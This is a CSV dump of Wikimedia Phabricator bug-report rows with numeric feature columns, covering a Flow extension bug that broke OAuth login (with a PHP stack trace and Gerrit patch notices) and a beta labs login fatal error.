290744,HTTP 5xx Wikimedia Errors,"I don't see any error. In general, describing the error is a good first step for a bug report. :) See https://www.mediawiki.org/wiki/How_to_report_a_bug",,,1391704747,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,15.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,3.230769230769231,0.8846153846153846,"I don't see any error. In general, describing the error is a good first step for a bug report. :) See URL"
290739,HTTP 5xx Wikimedia Errors,also on https://en.wikipedia.org/wiki/Hildegund,,,1391704702,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,also on URL
60705,Flow is breaking OAuth login,"I currently get a 500 error when trying to login in the gerrit uploader. This basically makes the uploader useless.

--------------------------
**Version**: unspecified
**Severity**: blocker
**URL**: https://tools.wmflabs.org/gerrit-patch-uploader/oauth-callback?oauth_verifier=6cf9ad17806bbd30adcc941956af2f11&oauth_token=7d64f00ae120ffff36982fe64063300d",Unbreak Now!,100.0,1387482600,1387559006.0,PHID-USER-2trxtywh5ma4onasf4kq,False,,False,PHID-TASK-hhdidtpgin3lbked7bfb,task_description,resolved,True,c3,1,False,False,True,-80,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,12.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7708333333333335,0.6041666666666666,"I currently get a 500 error when trying to login in the gerrit uploader. This basically makes the uploader useless.

--------------------------
**Version**: unspecified
**Severity**: blocker
**URL**: URL"
277436,Flow is breaking OAuth login,This appears to be fixed now.,,,1387559006,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,This appears to be fixed now.
277431,Flow is breaking OAuth login,"Change 102861 merged by jenkins-bot:
Update Echo and Flow.

https://gerrit.wikimedia.org/r/102861",,,1387501154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,1.0,"Change 102861 merged by jenkins-bot:
Update Echo and Flow.

GERRIT_URL"
277427,Flow is breaking OAuth login,"Change 102861 had a related patch set uploaded by Spage:
Update Echo and Flow

https://gerrit.wikimedia.org/r/102861",,,1387500684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,33.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,1.0,"Change 102861 had a related patch set uploaded by Spage:
Update Echo and Flow

GERRIT_URL"
277423,Flow is breaking OAuth login,"Change 102851 merged by jenkins-bot:
Add rtl and ltr icons for flow notification

https://gerrit.wikimedia.org/r/102851",,,1387499261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Change 102851 merged by jenkins-bot:
Add rtl and ltr icons for flow notification

GERRIT_URL"
277419,Flow is breaking OAuth login,"Change 102851 had a related patch set uploaded by Spage:
Add rtl and ltr icons for flow notification

https://gerrit.wikimedia.org/r/102851",,,1387499230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,1.0,"Change 102851 had a related patch set uploaded by Spage:
Add rtl and ltr icons for flow notification

GERRIT_URL"
277415,Flow is breaking OAuth login,"Change 102855 merged by jenkins-bot:
Allow icons to set different ltr/rtl versions

https://gerrit.wikimedia.org/r/102855",,,1387499053,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Change 102855 merged by jenkins-bot:
Allow icons to set different ltr/rtl versions

GERRIT_URL"
277411,Flow is breaking OAuth login,"Change 102855 had a related patch set uploaded by Bsitu:
Allow icons to set different ltr/rtl versions

https://gerrit.wikimedia.org/r/102855",,,1387498598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.304347826086956,0.9565217391304348,"Change 102855 had a related patch set uploaded by Bsitu:
Allow icons to set different ltr/rtl versions

GERRIT_URL"
277407,Flow is breaking OAuth login,"Change 102750 abandoned by EBernhardson:
Allow icon paths to be resolved when requested

Reason:
abandon in favor of https://gerrit.wikimedia.org/r/102834

https://gerrit.wikimedia.org/r/102750",,,1387495654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,23.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.769230769230769,0.8461538461538461,"Change 102750 abandoned by EBernhardson:
Allow icon paths to be resolved when requested

Reason:
abandon in favor of GERRIT_URL

GERRIT_URL"
277400,Flow is breaking OAuth login,"Change 102783 merged by jenkins-bot:
Allow defining clousre for notification icon path

https://gerrit.wikimedia.org/r/102783",,,1387492254,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 102783 merged by jenkins-bot:
Allow defining clousre for notification icon path

GERRIT_URL"
277395,Flow is breaking OAuth login,"Change 102783 had a related patch set uploaded by Spage:
Allow defining clousre for notification icon path

https://gerrit.wikimedia.org/r/102783",,,1387492188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.904761904761905,1.0,"Change 102783 had a related patch set uploaded by Spage:
Allow defining clousre for notification icon path

GERRIT_URL"
277389,Flow is breaking OAuth login,"Change 102750 had a related patch set uploaded by Spage:
Allow icon paths to be resolved when requested

https://gerrit.wikimedia.org/r/102750",,,1387485652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 102750 had a related patch set uploaded by Spage:
Allow icon paths to be resolved when requested

GERRIT_URL"
277384,Flow is breaking OAuth login,*** Bug 58708 has been marked as a duplicate of this bug. ***,,,1387483424,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58708 has been marked as a duplicate of this bug. ***
277378,Flow is breaking OAuth login,Poking the engineers.,,,1387483419,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.75,1.0,Poking the engineers.
277373,Flow is breaking OAuth login,"It's a repeat of bug 58380, this time Flow's fault:

[19-Dec-2013 19:57:46] Fatal error: Call to a member function isSpecial() on a non-object at /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php on line 55
Server: mw1017
Method: POST
URL: http://test.wikipedia.org/w/api.php
Backtrace:
#0 /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php(55): MWOAuthAPISetup::getOAuthAccessToken()
#1 /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php(89): MWOAuthAPISetup::getOAuthAccessToken()
#2 [internal function]: MWOAuthAPISetup::onUserLoadFromSession(Object(User), NULL)
#3 /usr/local/apache/common-local/php-1.23wmf8/includes/Hooks.php(199): call_user_func_array('MWOAuthAPISetup...', Array)
#4 /usr/local/apache/common-local/php-1.23wmf8/includes/GlobalFunctions.php(4031): Hooks::run('UserLoadFromSes...', Array)
#5 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(935): wfRunHooks('UserLoadFromSes...', Array)
#6 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(297): User->loadFromSession()
#7 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(4560): User->load()
#8 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(2312): User->loadOptions()
#9 /usr/local/apache/common-local/php-1.23wmf8/includes/context/RequestContext.php(333): User->getOption('language')
#10 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(204): RequestContext->getLanguage()
#11 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(149): StubUserLang->_newObject()
#12 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(98): StubObject->_unstub('getDir', 5)
#13 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(197): StubObject->_call('getDir', Array)
#14 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/includes/Notifications/Controller.php(32): StubUserLang->__call('getDir', Array)
#15 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/includes/Notifications/Controller.php(32): StubUserLang->getDir()
#16 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/Hooks.php(15): Flow\NotificationController->setup()
#17 [internal function]: FlowHooks::initFlowExtension()
#18 /usr/local/apache/common-local/php-1.23wmf8/includes/Setup.php(602): call_user_func('FlowHooks::init...')
#19 /usr/local/apache/common-local/php-1.23wmf8/includes/WebStart.php(153): require_once('/usr/local/apac...')
#20 /usr/local/apache/common-local/php-1.23wmf8/api.php(44): require('/usr/local/apac...')
#21 /usr/local/apache/common-local/w/api.php(3): require('/usr/local/apac...')
#22 {main}",,,1387483333,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,0.0,0.0,11.333333333333334,0.0,0.0,0.0,0.0,0.0,1.8333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.8333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.8333333333333333,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,10.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,3.8333333333333335,0.16666666666666666,0.0,8.333333333333334,0.0,0.16666666666666666,0.8333333333333334,9.166666666666666,0.0,1.8333333333333333,0.0,0.16666666666666666,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.8333333333333334,4.338922558922559,0.3704545454545454,"It's a repeat of bug 58380, this time Flow's fault:

[19-Dec-2013 19:57:46] Fatal error: Call to a member function isSpecial() on a non-object at /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php on line 55
Server: mw1017
Method: POST
URL: URL
Backtrace:
#0 /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php(55): MWOAuthAPISetup::getOAuthAccessToken()
#1 /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php(89): MWOAuthAPISetup::getOAuthAccessToken()
#2 [internal function]: MWOAuthAPISetup::onUserLoadFromSession(Object(User), NULL)
#3 /usr/local/apache/common-local/php-1.23wmf8/includes/Hooks.php(199): call_user_func_array('MWOAuthAPISetup...', Array)
#4 /usr/local/apache/common-local/php-1.23wmf8/includes/GlobalFunctions.php(4031): Hooks::run('UserLoadFromSes...', Array)
#5 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(935): wfRunHooks('UserLoadFromSes...', Array)
#6 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(297): User->loadFromSession()
#7 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(4560): User->load()
#8 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(2312): User->loadOptions()
#9 /usr/local/apache/common-local/php-1.23wmf8/includes/context/RequestContext.php(333): User->getOption('language')
#10 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(204): RequestContext->getLanguage()
#11 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(149): StubUserLang->_newObject()
#12 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(98): StubObject->_unstub('getDir', 5)
#13 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(197): StubObject->_call('getDir', Array)
#14 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/includes/Notifications/Controller.php(32): StubUserLang->__call('getDir', Array)
#15 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/includes/Notifications/Controller.php(32): StubUserLang->getDir()
#16 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/Hooks.php(15): Flow\NotificationController->setup()
#17 [internal function]: FlowHooks::initFlowExtension()
#18 /usr/local/apache/common-local/php-1.23wmf8/includes/Setup.php(602): call_user_func('FlowHooks::init...')
#19 /usr/local/apache/common-local/php-1.23wmf8/includes/WebStart.php(153): require_once('/usr/local/apac...')
#20 /usr/local/apache/common-local/php-1.23wmf8/api.php(44): require('/usr/local/apac...')
#21 /usr/local/apache/common-local/w/api.php(3): require('/usr/local/apac...')
#22 {main}"
277368,Flow is breaking OAuth login,"Local testing shows mediawiki.org returning ""Our servers are currently experiencing a technical problem."".

So, two problems here: mw.org is throwing an error (which should be fixed soon), and the patch uploader 500's instead of showing a sensible error message. For the second one: https://github.com/valhallasw/gerrit-patch-uploader/issues/12",,,1387483240,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,4.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,5.0,0.0,7.0,0.0,0.0,2.0,4.280701754385965,0.8596491228070176,"Local testing shows mediawiki.org returning ""Our servers are currently experiencing a technical problem."".

So, two problems here: mw.org is throwing an error (which should be fixed soon), and the patch uploader 500's instead of showing a sensible error message. For the second one: URL"
59540,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"seen since Saturday Nov 23:

attempt to login http://en.wikipedia.beta.wmflabs.org/

error is: 

PHP fatal error in /data/project/apache/common-local/php-master/extensions/GettingStarted/Hooks.php line 84: 
Class 'GettingStarted\MobileContext' not found

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1385392800,1385398242.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_description,resolved,True,c3,1,False,False,True,-84,True,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,4.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.08955223880597,0.6268656716417911,"seen since Saturday Nov 23:

attempt to login URL

error is: 

PHP fatal error in /data/project/apache/common-local/php-master/extensions/GettingStarted/Hooks.php line 84: 
Class 'GettingStarted\MobileContext' not found

--------------------------
**Version**: unspecified
**Severity**: critical"
259849,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,*** Bug 57534 has been marked as a duplicate of this bug. ***,,,1385462922,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57534 has been marked as a duplicate of this bug. ***
